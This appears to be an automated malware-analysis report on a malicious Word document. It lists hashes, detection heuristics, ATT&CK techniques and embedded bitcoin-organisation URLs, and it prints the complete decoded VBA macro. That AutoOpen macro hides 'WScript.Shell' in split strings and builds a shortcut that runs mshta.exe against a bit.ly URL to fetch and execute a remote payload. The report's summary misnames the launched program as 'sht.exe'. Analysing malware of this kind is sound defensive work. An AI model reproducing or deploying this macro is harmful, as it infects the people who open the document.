Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a464781b616c86bb…

MALICIOUS

Office (OLE)

149.0 KB Created: 2018-11-22 03:31:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: c869b0fe739d0626e4474eea980dd018 SHA-1: 59424ba83c93fa38f7e074a9d4eefc0d0ab2ca17 SHA-256: a464781b616c86bbd68dbf909826444f7fd6c6ae378caf074926df7aebc4e3a1
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes an AutoOpen function. This macro uses CreateObject to instantiate a Shell object and then creates a shortcut file named 'ExLink.lnk' in the public user directory. The shortcut's target is 'cmd.exe' which is instructed to start 'sht.exe' by downloading a payload from 'https://bit.ly/2SLj5Wn'. This indicates a downloader or dropper functionality, likely delivered via spearphishing.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-9504255-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-9504255-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.bitcoinargentina.org/ In document text (OLE body)
    • https://www.bitcoin.asn.au/In document text (OLE body)
    • http://bitcoin-austria.at/In document text (OLE body)
    • http://www.bitcoinassociation.be/In document text (OLE body)
    • http://www.bitcoinalliance.ca/In document text (OLE body)
    • http://bitcoinembassy.ca/In document text (OLE body)
    • http://www.danskbitcoinforening.dk/In document text (OLE body)
    • http://www.bundesverband-bitcoin.de/In document text (OLE body)
    • http://www.bitcoinalliance.in/In document text (OLE body)
    • http://www.bitcoinirl.ie/In document text (OLE body)
    • http://www.bitcoin.org.il/In document text (OLE body)
    • http://www.bitcoin-italia.org/In document text (OLE body)
    • http://stichtingbitcoin.nl/In document text (OLE body)
    • http://bitcoin.org.pl/In document text (OLE body)
    • http://ccfr.info/In document text (OLE body)
    • http://www.bitcoinforeningen.se/In document text (OLE body)
    • http://www.bitcoinassociation.ch/In document text (OLE body)
    • http://bitcoinfoundation.org/In document text (OLE body)
    • https://worldblockchain.org/wp-content/uploads/2014/12/wba_btc_organizations_201412132-1024x494.pngIn document text (OLE body)
    • https://worldblockchain.org/wp-content/uploads/2014/12/wba_btc_organizations_20160416.pngIn document text (OLE body)
    • https://worldblockchain.org/contact/In document text (OLE body)
    • https://worldblockchain.org/organizations/In document text (OLE body)
    • http://www.wikirating.org/In document text (OLE body)
    • http://www.bitcoin.kaufen/In document text (OLE body)
    • http://www.bitcoinnews.ch/In document text (OLE body)
    • http://countoncrypto.com/In document text (OLE body)
    • https://worldblockchain.org/wp-content/uploads/2014/09/wba_press_release_english_2014-01-17_v2.pdfIn document text (OLE body)
    • https://worldblockchain.org/wp-content/uploads/2014/09/wba_press_release_deutsch_2014-01-17_v2.pdfIn document text (OLE body)
    • http://bitcoinexaminer.org/first-swiss-bitcoin-atm-is-temporarily-operating-in-zurich/In document text (OLE body)
    • http://www.finanzprodukt.ch/andere-finanzprodukte/exclusiv-erster-bitcoin-automat-in-zurich/In document text (OLE body)
    • http://wirtschaftsblatt.at/home/boerse/rohstoffe_waehrungen/1551056/Vancouver-Bratislava-Helsinki-Zurich_Hier-stehen-BitcoinBankomatenIn document text (OLE body)
    • http://www.meetup.com/BitcoinWednesday/In document text (OLE body)
    • http://www.coindesk.com/bitcoin-atm-appearance-draws-crowds-zurich/In document text (OLE body)
    • http://www.20min.ch/finance/news/story/16385695In document text (OLE body)
    • http://t3n.de/news/bitcoin-geldautomat-geldautomaten-523850/In document text (OLE body)
    • http://www.bluewin.ch/de/digital/redaktion/14-01/der-bitcoin-automatinzuerich.htmlIn document text (OLE body)
    • http://www.rts.ch/info/economie/5543393-le-premier-bancomat-a-bitcoins-de-suisse-installe-a-zurich.htmlIn document text (OLE body)
    • https://en.wikipedia.org/wiki/Block_chain_%28database%29In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1391 bytes
SHA-256: c605b4aa1c2276452eead0a0f75774aaf822e2390bd635db72781751f8dc8e89
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    On Error Resume Next
    Dim shell_obj
    Dim seoL As String
    Dim Joa As String
    Dim MLpK As String
    seoL = "ws"
    Sw = "\sta"
    Joa = "C:\User" & "s\Pub" & "lic\ExLink.l" & "nk"
    seoL = seoL & "cr"
    WW = "Rec"
    Sw = Sw & "rtofd"
    seoL = seoL & "ip"
    MLpK = "expl" & "orer " & Joa
    seoL = seoL & "t.Sh"
    Sw = Sw & "oc"
    WW = WW & "As"
    seoL = seoL & "ell"
    Set Dlo = CreateObject(seoL)
    Set XCd = Dlo.CreateShortcut(Joa)
    XCd.TargetPath = "cm" & "d.e" & "xe"
    XCd.Arguments = "/" & "c st" & "art /b m" & "sht" & "a.e" & "xe" & " htt" & "ps://bit.ly/2SLj5Wn"
    XCd.Save
    Dlo.Run MLpK
    
    Dim oliPictuu As Shape
    
    For Each oliPictuu In ActiveDocument.Shapes
        If oliPictuu.AlternativeText = "GD" & "PR" Then
            oliPictuu.Left = 0
            oliPictuu.Top = 0
            oliPictuu.Width = 0
            oliPictuu.Height = 0
        End If
    Next oliPictuu
            
    ActiveDocument.Content.Font.Hidden = False
End Sub